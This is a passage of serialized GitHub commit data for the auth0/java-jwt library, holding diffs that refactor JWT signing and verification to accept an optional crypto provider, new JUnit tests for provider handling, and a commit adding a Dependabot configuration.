-        Provider provider = Security.getProvider(providerName);
-        if (provider == null) {
-            throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
-        }
-
-        return this.sign(provider);
-    }
-
     private String sign(Provider cryptoProvider) throws SignatureGenerationException {
         String header = Base64.getUrlEncoder().withoutPadding()
                 .encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));u}(j|b  (faba9adc9b12472aaa4a759b89bb1138f60b1a09jb  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javajb  modifiedjb  Kjb  Kjb  Kjb  https://github.com/auth0/java-jwt/blob/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajb  https://github.com/auth0/java-jwt/raw/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajb  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=acc3723d0d454f508e3e3c4315b02d1e16649995jb  X[	  @@ -367,7 +367,9 @@ public String toString() {
      *                                        meaning that it doesn't match the signatureBytes,
      *                                        or if the Key is invalid.
      */
-    public abstract void verify(DecodedJWT jwt) throws SignatureVerificationException;
+    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
+        this.verify(jwt, (Provider) null);
+    }
 
     /**
      * Verify the given token using this Algorithm instance.
@@ -418,13 +420,8 @@ public void verify(DecodedJWT jwt, String providerName)
      */
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
         // default implementation; keep around until sign(byte[]) method is removed
-        byte[] contentBytes = new byte[headerBytes.length + 1 + payloadBytes.length];
-
-        System.arraycopy(headerBytes, 0, contentBytes, 0, headerBytes.length);
-        contentBytes[headerBytes.length] = (byte) '.';
-        System.arraycopy(payloadBytes, 0, contentBytes, headerBytes.length + 1, payloadBytes.length);
 
-        return sign(contentBytes);
+        return this.sign(headerBytes, payloadBytes, (Provider) null);
     }
 
     /**
@@ -485,7 +482,9 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes, Provider cryptoProvi
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */
-    public abstract byte[] sign(byte[] contentBytes) throws SignatureGenerationException;
+    public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
+        return this.sign(contentBytes, (Provider) null);
+    }
 
     /**
      * Sign the given content using this Algorithm instance.
@@ -500,6 +499,10 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes, Provider cryptoProvi
      */
     public byte[] sign(byte[] contentBytes, String providerName)
             throws SignatureGenerationException, NoSuchProviderException {
+        if (providerName == null) {
+            throw new IllegalArgumentException("providerName cannot be null");
+        }
+
         Provider provider = Security.getProvider(providerName);
         if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));u}(j|b  (fdf31aa06c0b62ba07f63a7a9c79c79528cfb49cjb  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javajb  modifiedjb  K jb  K
jb  K
jb  https://github.com/auth0/java-jwt/blob/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajb  https://github.com/auth0/java-jwt/raw/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajb  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=acc3723d0d454f508e3e3c4315b02d1e16649995jb  X  @@ -65,11 +65,6 @@ public String getPrivateKeyId() {
         };
     }
 
-    @Override
-    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
-        this.verify(jwt, (Provider) null);
-    }
-
     @Override
     public void verify(DecodedJWT jwt, Provider cryptoProvider) throws SignatureVerificationException {
         try {
@@ -91,11 +86,6 @@ public void verify(DecodedJWT jwt, Provider cryptoProvider) throws SignatureVeri
         }
     }
 
-    @Override
-    public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
-        return this.sign(contentBytes, (Provider) null);
-    }
-
     @Override
     public byte[] sign(byte[] contentBytes, Provider cryptoProvider) throws SignatureGenerationException {
         try {u}(j|b  (a31403d454bad9032b464305d66fa850f921b5cajb  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javajb  modifiedjb  K jb  K
jb  K
jb  https://github.com/auth0/java-jwt/blob/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajb  https://github.com/auth0/java-jwt/raw/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajb  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=acc3723d0d454f508e3e3c4315b02d1e16649995jb  X  @@ -46,11 +46,6 @@ static byte[] getSecretBytes(String secret) throws IllegalArgumentException {
         return secret.getBytes(StandardCharsets.UTF_8);
     }
 
-    @Override
-    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
-        this.verify(jwt, (Provider) null);
-    }
-
     @Override
     public void verify(DecodedJWT jwt, Provider cryptoProvider) throws SignatureVerificationException {
         try {
@@ -66,11 +61,6 @@ public void verify(DecodedJWT jwt, Provider cryptoProvider) throws SignatureVeri
         }
     }
 
-    @Override
-    public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
-        return this.sign(headerBytes, payloadBytes, (Provider) null);
-    }
-
     @Override
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes, Provider cryptoProvider)
             throws SignatureGenerationException {u}(j|b  (296cc516e7fc443c4cf3343d0a6aa999f42aa0d0jb  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javajb  modifiedjb  K jb  Kjb  Kjb  https://github.com/auth0/java-jwt/blob/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajb  https://github.com/auth0/java-jwt/raw/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajb  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=acc3723d0d454f508e3e3c4315b02d1e16649995jb  XG  @@ -13,19 +13,6 @@ class NoneAlgorithm extends Algorithm {
         super("none", "none");
     }
 
-    @Override
-    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
-        try {
-            byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
-
-            if (signatureBytes.length > 0) {
-                throw new SignatureVerificationException(this);
-            }
-        } catch (IllegalArgumentException e) {
-            throw new SignatureVerificationException(this, e);
-        }
-    }
-
     @Override
     public void verify(DecodedJWT jwt, Provider cryptoProvider) throws SignatureVerificationException {
         try {
@@ -39,11 +26,6 @@ public void verify(DecodedJWT jwt, Provider cryptoProvider) throws SignatureVeri
         }
     }
 
-    @Override
-    public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
-        return new byte[0];
-    }
-
     @Override
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         return new byte[0];u}(j|b  (06bd5a80f629f72078382cae64d17acb01628ed2jb  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javajb  modifiedjb  K jb  Kjb  Kjb  https://github.com/auth0/java-jwt/blob/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajb  https://github.com/auth0/java-jwt/raw/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajb  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=acc3723d0d454f508e3e3c4315b02d1e16649995jb  Xd  @@ -61,11 +61,6 @@ public String getPrivateKeyId() {
         };
     }
 
-    @Override
-    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
-        this.verify(jwt, (Provider) null);
-    }
-
     @Override
     public void verify(DecodedJWT jwt, Provider cryptoProvider) throws SignatureVerificationException {
         try {u}(j|b  (5300a5fdeeb5c2c52a543fa1dd702689f45b3082jb  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javajb  modifiedjb  K\jb  K jb  K\jb  https://github.com/auth0/java-jwt/blob/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajb  https://github.com/auth0/java-jwt/raw/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajb  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=acc3723d0d454f508e3e3c4315b02d1e16649995jb  X1  @@ -9,6 +9,8 @@
 import org.junit.rules.ExpectedException;
 
 import java.nio.charset.StandardCharsets;
+import java.security.NoSuchProviderException;
+import java.security.Security;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.RSAPrivateKey;
 import java.time.Instant;
@@ -574,6 +576,63 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
 
     }
 
+    @SuppressWarnings("unchecked")
+    @Test
+    public void shouldAcceptCustomMapClaimOfBasicObjectTypesAndProvider() throws Exception {
+        Map<String, Object> data = new HashMap<>();
+
+        // simple types
+        data.put("string", "abc");
+        data.put("integer", 1);
+        data.put("long", Long.MAX_VALUE);
+        data.put("double", 123.456d);
+        data.put("date", new Date(123000L));
+        data.put("instant", Instant.ofEpochSecond(123));
+        data.put("boolean", true);
+
+        // array types
+        data.put("intArray", new Integer[]{3, 5});
+        data.put("longArray", new Long[]{Long.MAX_VALUE, Long.MIN_VALUE});
+        data.put("stringArray", new String[]{"string"});
+
+        data.put("list", Arrays.asList("a", "b", "c"));
+
+        Map<String, Object> sub = new HashMap<>();
+        sub.put("subKey", "subValue");
+
+        data.put("map", sub);
+
+        String jwt = JWTCreator.init()
+                .withClaim("data", data)
+                .sign(Algorithm.HMAC256("secret"), Security.getProvider("SunEC").getName());
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+
+        String body = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
+        ObjectMapper mapper = new ObjectMapper();
+        Map<String, Object> map = (Map<String, Object>) mapper.readValue(body, Map.class).get("data");
+
+        assertThat(map.get("string"), is("abc"));
+        assertThat(map.get("integer"), is(1));
+        assertThat(map.get("long"), is(Long.MAX_VALUE));
+        assertThat(map.get("double"), is(123.456d));
+
+        assertThat(map.get("date"), is(123));
+        assertThat(map.get("instant"), is(123));
+        assertThat(map.get("boolean"), is(true));
+
+        // array types
+        assertThat(map.get("intArray"), is(Arrays.asList(3, 5)));
+        assertThat(map.get("longArray"), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
+        assertThat(map.get("stringArray"), is(Collections.singletonList("string")));
+
+        // list
+        assertThat(map.get("list"), is(Arrays.asList("a", "b", "c")));
+        assertThat(map.get("map"), is(sub));
+
+    }
+
     @SuppressWarnings("unchecked")
     @Test
     public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
@@ -651,6 +710,30 @@ public void shouldRefuseCustomClaimForNullMapKey() {
                 .sign(Algorithm.HMAC256("secret"));
     }
 
+    @Test
+    public void shouldRefuseNullProviderName() throws NoSuchProviderException {
+        Map<String, Object> data = new HashMap<>();
+        data.put("test1", Arrays.asList("a", null, "c"));
+
+        exception.expect(IllegalArgumentException.class);
+
+        JWTCreator.init()
+                .withClaim("pojo", data)
+                .sign(Algorithm.HMAC256("secret"), (String) null);
+    }
+
+    @Test
+    public void shouldRefuseProviderNotFound() throws NoSuchProviderException {
+        Map<String, Object> data = new HashMap<>();
+        data.put("test1", Arrays.asList("a", null, "c"));
+
+        exception.expect(NoSuchProviderException.class);
+
+        JWTCreator.init()
+                .withClaim("pojo", data)
+                .sign(Algorithm.HMAC256("secret"), "some-provider");
+    }
+
     @SuppressWarnings({"unchecked", "rawtypes"})
     @Test
     public void shouldRefuseCustomMapClaimForNonStringKey() {
@@ -664,6 +747,15 @@ public void shouldRefuseCustomMapClaimForNonStringKey() {
                 .sign(Algorithm.HMAC256("secret"));
     }
 
+    @SuppressWarnings({"unchecked", "rawtypes"})
+    @Test
+    public void shouldAcceptNullValueClaim() {
+
+        JWTCreator.init()
+                .withNullClaim("pojo")
+                .sign(Algorithm.HMAC256("secret"));
+    }
+
     @Test
     public void shouldRefuseCustomListClaimForUnknownListElement() {
         List<Object> list = Collections.singletonList(new UserPojo("Michael", 255));u}(j|b  (fbb598de31a1d98c9aa380f522e0f3c8723ce2f6jb  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javajb  modifiedjb  Kjb  Kjb  Kjb  https://github.com/auth0/java-jwt/blob/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javajb  https://github.com/auth0/java-jwt/raw/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javajb  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=acc3723d0d454f508e3e3c4315b02d1e16649995jb  XN  @@ -10,10 +10,12 @@
 import java.io.ByteArrayOutputStream;
 import java.nio.charset.StandardCharsets;
 import java.security.NoSuchProviderException;
+import java.security.Provider;
 import java.security.interfaces.*;
 
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.mockito.ArgumentMatchers.isNull;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.withSettings;
 import static org.mockito.ArgumentMatchers.any;
@@ -562,7 +564,8 @@ public void shouldForwardHeaderPayloadSignatureToSiblingSignMethodForBackwardsCo
 
         byte[] signature = new byte[]{0x10, 0x11, 0x12};
         when(algorithm.sign(any(byte[].class), any(byte[].class))).thenCallRealMethod();
-        when(algorithm.sign(contentCaptor.capture())).thenReturn(signature);
+        when(algorithm.sign(any(byte[].class), any(byte[].class), (Provider) isNull())).thenCallRealMethod();
+        when(algorithm.sign(contentCaptor.capture(), (Provider) isNull())).thenReturn(signature);
 
         byte[] sign = algorithm.sign(header, payload);
 u}(j|b  (a6a20f7b6c880532ef538325ec83e76571067b83jb  @lib/src/test/java/com/auth0/jwt/algorithms/CryptoTestHelper.javajb  modifiedjb  Kjb  K jb  Kjb  https://github.com/auth0/java-jwt/blob/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javajb  https://github.com/auth0/java-jwt/raw/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javajb  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.java?ref=acc3723d0d454f508e3e3c4315b02d1e16649995jb  X|  @@ -33,6 +33,18 @@ public static String asJWT(Algorithm algorithm, String header, String payload, P
         return String.format("%s.%s.%s", header, payload, jwtSignature);
     }
 
+    public static String asJWT(Algorithm algorithm, byte[] content, String providerName) throws NoSuchProviderException {
+        byte[] signatureBytes = algorithm.sign(content, providerName);
+        String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
+        return String.format("%s.%s", new String(content, StandardCharsets.UTF_8), jwtSignature);
+    }
+
+    public static String asJWT(Algorithm algorithm, byte[] content, Provider provider) {
+        byte[] signatureBytes = algorithm.sign(content, provider);
+        String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
+        return String.format("%s.%s", new String(content), jwtSignature);
+    }
+
     public static void assertSignatureValue(String jwt, String expectedSignature) {
         String jwtSignature = jwt.substring(jwt.lastIndexOf('.') + 1);
         assertThat(jwtSignature, is(expectedSignature));u}(j|b  (4db17bced85ef8ef83928bdba5f8de768912ec09jb  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javajb  modifiedjb  Kpjb  Kjb  Krjb  https://github.com/auth0/java-jwt/blob/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajb  https://github.com/auth0/java-jwt/raw/acc3723d0d454f508e3e3c4315b02d1e16649995/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajb  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=acc3723d0d454f508e3e3c4315b02d1e16649995jb  X  @@ -1026,22 +1026,132 @@ public void shouldSignAndVerifyWithProviderByName() throws Exception {
 
         for (int i = 0; i < 10; i++) {
             String jwt = asJWT(algorithm256, header256, body, Security.getProvider("SunEC").getName());
-            algorithm256.verify(JWT.decode(jwt),Security.getProvider("SunEC").getName());
+            algorithm256.verify(JWT.decode(jwt), Security.getProvider("SunEC").getName());
         }
     }
 
+    @Test
+    public void shouldSignAndVerifyWithContentAndProviderByName() throws Exception {
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(
+                (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"),
+                (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        String header256 = "eyJhbGciOiJFUzI1NiJ9";
+        String body = "eyJpc3MiOiJhdXRoMCJ9";
+
+        for (int i = 0; i < 10; i++) {
+            byte[] signatureBytes = algorithm256.sign(
+                    header256.getBytes(StandardCharsets.UTF_8),
+                    body.getBytes(StandardCharsets.UTF_8),
+                    Security.getProvider("SunEC").getName());
+            String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
+            String jwt = String.format("%s.%s.%s", header256, body, jwtSignature);
+
+            algorithm256.verify(JWT.decode(jwt), Security.getProvider("SunEC").getName());
+        }
+    }
+
+    @Test
+    public void shouldThrowOnSignHeaderAndPayloadWithNullProviderName() throws Exception {
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        byte[] joseSignature = new byte[32 * 2 - 1];
+        exception.expect(IllegalArgumentException.class);
+        exception.expectMessage("providerName cannot be null");
+
+        String header256 = "eyJhbGciOiJFUzI1NiJ9";
+        String body = "eyJpc3MiOiJhdXRoMCJ9";
+
+        byte[] signatureBytes = algorithm256.sign(
+                header256.getBytes(StandardCharsets.UTF_8),
+                body.getBytes(StandardCharsets.UTF_8),
+                Security.getProvider("SunEC").getName());
+        String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
+        String jwt = String.format("%s.%s.%s", header256, body, jwtSignature);
+
+        algorithm256.verify(JWT.decode(jwt), (String) null);
+    }
+
+    @Test
+    public void shouldThrowOnSignContentWithNullProviderName() throws Exception {
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        byte[] joseSignature = new byte[32 * 2 - 1];
+        exception.expect(IllegalArgumentException.class);
+        exception.expectMessage("providerName cannot be null");
+
+        String header256 = "eyJhbGciOiJFUzI1NiJ9";
+        String body = "eyJpc3MiOiJhdXRoMCJ9";
+
+        byte[] signatureBytes = algorithm256.sign(
+                (header256 + "." + body).getBytes(StandardCharsets.UTF_8), (String) null);
+        String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
+        String jwt = String.format("%s.%s.%s", header256, body, jwtSignature);
+
+        algorithm256.verify(JWT.decode(jwt), (String) null);
+    }
+
+    @Test
+    public void shouldThrowOnSignContentWithNoSuchProvider() throws Exception {
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        byte[] joseSignature = new byte[32 * 2 - 1];
+        exception.expect(NoSuchProviderException.class);
+        exception.expectMessage("No provider named [some-provider] installed");
+
+        String header256 = "eyJhbGciOiJFUzI1NiJ9";
+        String body = "eyJpc3MiOiJhdXRoMCJ9";
+
+        byte[] signatureBytes = algorithm256.sign(
+                (header256 + "." + body).getBytes(StandardCharsets.UTF_8), "some-provider");
+        String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
+        String jwt = String.format("%s.%s.%s", header256, body, jwtSignature);
+
+        algorithm256.verify(JWT.decode(jwt), "some-provider");
+    }
+
+    @Test
+    public void shouldThrowOnVerifyContentWithNoSuchProvider() throws Exception {
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        byte[] joseSignature = new byte[32 * 2 - 1];
+        exception.expect(NoSuchProviderException.class);
+        exception.expectMessage("No provider named [some-provider] installed");
+
+        String header256 = "eyJhbGciOiJFUzI1NiJ9";
+        String body = "eyJpc3MiOiJhdXRoMCJ9";
+
+        byte[] signatureBytes = algorithm256.sign(
+                (header256 + "." + body).getBytes(StandardCharsets.UTF_8), "SunEC");
+        String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
+        String jwt = String.format("%s.%s.%s", header256, body, jwtSignature);
+
+        algorithm256.verify(JWT.decode(jwt), "some-provider");
+    }
+
     @Test
     public void shouldSignAndVerifyWithProviderByInstance() throws Exception {
         ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
         String header256 = "eyJhbGciOiJFUzI1NiJ9";
         String body = "eyJpc3MiOiJhdXRoMCJ9";
 
         for (int i = 0; i < 10; i++) {
-            String jwt = asJWT(algorithm256, header256, body, Security.getProvider("SunEC"));
+            String jwt = asJWT(algorithm256, (header256 + "." + body).getBytes(StandardCharsets.UTF_8), Security.getProvider("SunEC"));
             algorithm256.verify(JWT.decode(jwt), Security.getProvider("SunEC"));
         }
     }
 
+    @Test
+    public void shouldSignContentAndVerifyWithProviderByName() throws Exception {
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        String header256 = "eyJhbGciOiJFUzI1NiJ9";
+        String body = "eyJpc3MiOiJhdXRoMCJ9";
+
+        for (int i = 0; i < 10; i++) {
+            String jwt = asJWT(algorithm256, (header256 + "." + body).getBytes(StandardCharsets.UTF_8), Security.getProvider("SunEC"));
+            algorithm256.verify(JWT.decode(jwt), "SunEC");
+        }
+    }
+
     @Test
     public void shouldSignAndVerifyWithECDSA384() throws Exception {
         ECDSAAlgorithm algorithm384 = (ECDSAAlgorithm) Algorithm.ECDSA384((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_384, "EC"));ueu     (007bc0f03e853dd8e3cd541bd9a23b86c92fa194}(sha(007bc0f03e853dd8e3cd541bd9a23b86c92fa194node_idEC_kwDOAQtL0doAKDAwN2JjMGYwM2U4NTNkZDhlM2NkNTQxYmQ5YTIzYjg2YzkyZmExOTQcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-08-17T03:05:18Zu	committer}(jCc  Jim AndersonjEc  jimranderson@gmail.comjGc  2023-08-17T03:05:18Zumessageadd dependabottree}(j;c  (b0381360633c30d5234985309931184c58d480dburl^https://api.github.com/repos/auth0/java-jwt/git/trees/b0381360633c30d5234985309931184c58d480dbujSc  `https://api.github.com/repos/auth0/java-jwt/git/commits/007bc0f03e853dd8e3cd541bd9a23b86c92fa194
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujSc  \https://api.github.com/repos/auth0/java-jwt/commits/007bc0f03e853dd8e3cd541bd9a23b86c92fa194html_urlQhttps://github.com/auth0/java-jwt/commit/007bc0f03e853dd8e3cd541bd9a23b86c92fa194comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/007bc0f03e853dd8e3cd541bd9a23b86c92fa194/commentsjAc  }(login
jimmyjamesidJ7 j=c  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jSc  'https://api.github.com/users/jimmyjamesj_c  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujIc  }(jdc  
jimmyjamesjfc  J7 j=c  MDQ6VXNlcjI3NjIyNQ==jhc  2https://avatars.githubusercontent.com/u/276225?v=4jjc  h3jSc  'https://api.github.com/users/jimmyjamesj_c  https://github.com/jimmyjamesjmc  1https://api.github.com/users/jimmyjames/followersjoc  >https://api.github.com/users/jimmyjames/following{/other_user}jqc  7https://api.github.com/users/jimmyjames/gists{/gist_id}jsc  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}juc  5https://api.github.com/users/jimmyjames/subscriptionsjwc  ,https://api.github.com/users/jimmyjames/orgsjyc  -https://api.github.com/users/jimmyjames/reposj{c  8https://api.github.com/users/jimmyjames/events{/privacy}j}c  7https://api.github.com/users/jimmyjames/received_eventsjc  Userjc  uparents]}(j;c  (735ea3cfb1faddd84b591da57399aa8cac16e838jSc  \https://api.github.com/repos/auth0/java-jwt/commits/735ea3cfb1faddd84b591da57399aa8cac16e838j_c  Qhttps://github.com/auth0/java-jwt/commit/735ea3cfb1faddd84b591da57399aa8cac16e838uastats}(totalK	additionsK	deletionsK ufiles]}(j;c  (57ca5dae244d42377a24413ca0a8b4732916d60ffilename .github/workflows/dependabot.ymlstatusaddedjc  Kjc  K changesKblob_urlthttps://github.com/auth0/java-jwt/blob/007bc0f03e853dd8e3cd541bd9a23b86c92fa194/.github%2Fworkflows%2Fdependabot.ymlraw_urlshttps://github.com/auth0/java-jwt/raw/007bc0f03e853dd8e3cd541bd9a23b86c92fa194/.github%2Fworkflows%2Fdependabot.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fdependabot.yml?ref=007bc0f03e853dd8e3cd541bd9a23b86c92fa194patchXe  @@ -0,0 +1,14 @@
+version: 2
+updates:
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      interval: "daily"
+
+  - package-ecosystem: "pip"
+    directory: "/"
+    schedule:
+      interval: "daily"
+    ignore:
+      - dependency-name: "*"
+        update-types: ["version-update:semver-major"]
